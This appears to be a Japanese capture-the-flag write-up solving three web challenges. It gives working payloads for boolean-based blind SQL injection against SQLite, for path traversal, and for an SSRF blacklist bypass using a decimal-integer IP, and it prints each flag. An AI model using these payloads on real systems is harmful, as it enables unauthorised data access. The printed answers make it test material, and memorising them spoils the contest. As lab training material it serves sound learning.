会員限定の裏口
SecureCorpDB は、表向きは安全に見える SQLite を使用した従業員管理システムですが、脆弱性を抱えています。悪用して隠されたフラグを取得してください。
解答形式: flag{XXXXXX} (半角英数記号)
guestアカウントでのログイン後、ユーザー検索画面に遷移する
ユーザー検索に SQLite を使った SQLインジェクション脆弱性 がある
' AND 1=1--
' AND 1=2--
OK / NG が分かれる 👉 Boolean-based Blind SQL Injection (SQLite) が最適解
テーブル存在確認(sqlite_master)
SQLite ではスキーマ情報は sqlite_master
' AND EXISTS(
SELECT 1 FROM sqlite_master
WHERE type='table' AND substr(name,1,5)='admin'
)--
➡ OK 👉 admin_secret テーブルがあると推測
flag カラムの存在確認
' AND EXISTS(
SELECT 1 FROM admin_secret WHERE flag IS NOT NULL
)--
➡ OK 👉 flag は admin_secret.flag
' AND substr((SELECT flag FROM admin_secret),1,5)='flag{'--
➡ OK 👉 先頭文字列 flag{ を確認
flag の中身を substr + unicode を使用して1文字ずつ推測
' AND unicode(substr((SELECT flag FROM admin_secret),位置,1)) BETWEEN 97 AND 122 --
97 a から 122 z までの英字文字を中間値から2分岐検索を繰り返す
' AND unicode(substr((SELECT flag FROM admin_secret),6,1)) BETWEEN 115 AND 115 --
➡ OK 👉 先頭文字は、115 s を確認
sqlite と推測 👉 flag{sqli まで特定を確認
以降、繰り返し
- 特定位置の文字列が、
a-zの文字に該当するなら、英字を特定 - 特定位置の文字列が、
a-zの文字に該当しなければ、_を特定
🏁 最終結果フラグを取得
flag{sqlinjection_unionbased_master}
越境パス
このファイルビューアは指定フォルダ内の txt ファイルを読み込むアプリケーションです。しかし、管理者のフラグがどこかに隠されているようです。システムを詳しく調べて、隠されたフラグを見つけてください。
http://10.2.0.8:8080/?file=XXXX
解答形式: flag{XXXXXX} (半角英数記号)
パストラバーサルでアクセス可能な階層を特定
?file=..// エラーなし
?file=..//..// エラー文字「アクセスが許可されていないパスです。」
?file=..//..//..// エラー文字「アクセスが許可されていないパスです。」
...
エラーなし階層で推測ファイル flag.txt を試してみる
?file=..//flag.txt
ファイル内容が表示されるが、FAKE_FLAG(ダミー)
管理者用フォルダ readme.txt を試してみる
?file=..//admin//readme.txt
- admin/readme.txt
- admin/config/secure/flag.txt
- admin/logs/access.log
🏁 本物のフラグを取得
http://10.2.0.8:8080/?file=..//admin//config//secure//flag.txt
flag{dir3ct0ry_tr4v3rs4l}
WebProxyの向こう側
WebProxy Service は URL の安全性をチェックするサービスですが、内部ネットワークにアクセスできる脆弱性があります。内部管理システムを探索し、隠された機密ファイルを発見してフラグを取得してください。 なお、この問題のサーバーからチェック可能な外部サイトは、当解答用サーバー (https://c.contest2026.mod.go.jp/) に限定されています。動作確認の際はご注意ください。
解答形式: flag{XXXXXX} (半角英数記号)
初期調査(サービス理解)
対象サービスにアクセスすると、URL をチェックする WebProxy Service が提供されている。画面下部の技術情報より、以下が判明する。
- 外部公開ポート:
8085 - バックエンド:Flask / Python
- 内部管理システム:
localhost:8081
また、外部アクセス可能なドメインは
c.contest2026.mod.go.jpのみであることが明示されていた。
脆弱性の特定(SSRFの可能性)
まず単純な内部アクセスを試みるが、以下はブロックされた。
http://localhost:8081/
http://127.0.0.1:8081/
エラー:内部ネットワークへのアクセスは許可されていません
→ ブラックリスト形式のチェックと判断。
内部アクセス制限の回避(整数IP)
IPv4 を 10進整数表記に変換した 2130706433 (127.0.0.1) を使用。
http://c.contest2026.mod.go.jp@2130706433:8081/
このURLでアクセスが成功し、内部管理画面が表示された。
内部管理システムの探索
表示された内部管理画面には、以下のエンドポイントが存在した。
/system/info/system/services/system/logs/system/config/system/users
ここから設定情報を確認するため、/system/config にアクセス。
設定ファイルからフラグの手がかりを取得
/system/config
結果(抜粋):
- フラグのファイル名パターン:flag_*.txt
- 保管ディレクトリ:
secrets/flags/ - デバッグモード有効
-
/system/debugで詳細情報が確認可能
→ 次にデバッグエンドポイントを調査。
デバッグ機能の悪用
/system/debug
レスポンスより、以下のサービスが確認できた。
secret-keeperbackup-daemon-
log-rotator
usage に従い、フラグ管理を行っていそうな
secret-keeperを指定してアクセス。
/system/debug?service=secret-keeper
フラグ保管場所の特定
secret-keeper のデバッグ情報から以下が判明。
- フラグは バックアップディレクトリへ移動済み
- 最新フラグファイル:
flag_20241209.txt
ファイル取得方法:
/system/files?path=...&file=...
🏁 フラグファイルの取得
指定された API を使用してフラグを直接取得。
/system/files?path=secrets/flags/&file=flag_20241209.txt
flag{ssrf_1nt3rn4l_4cc355}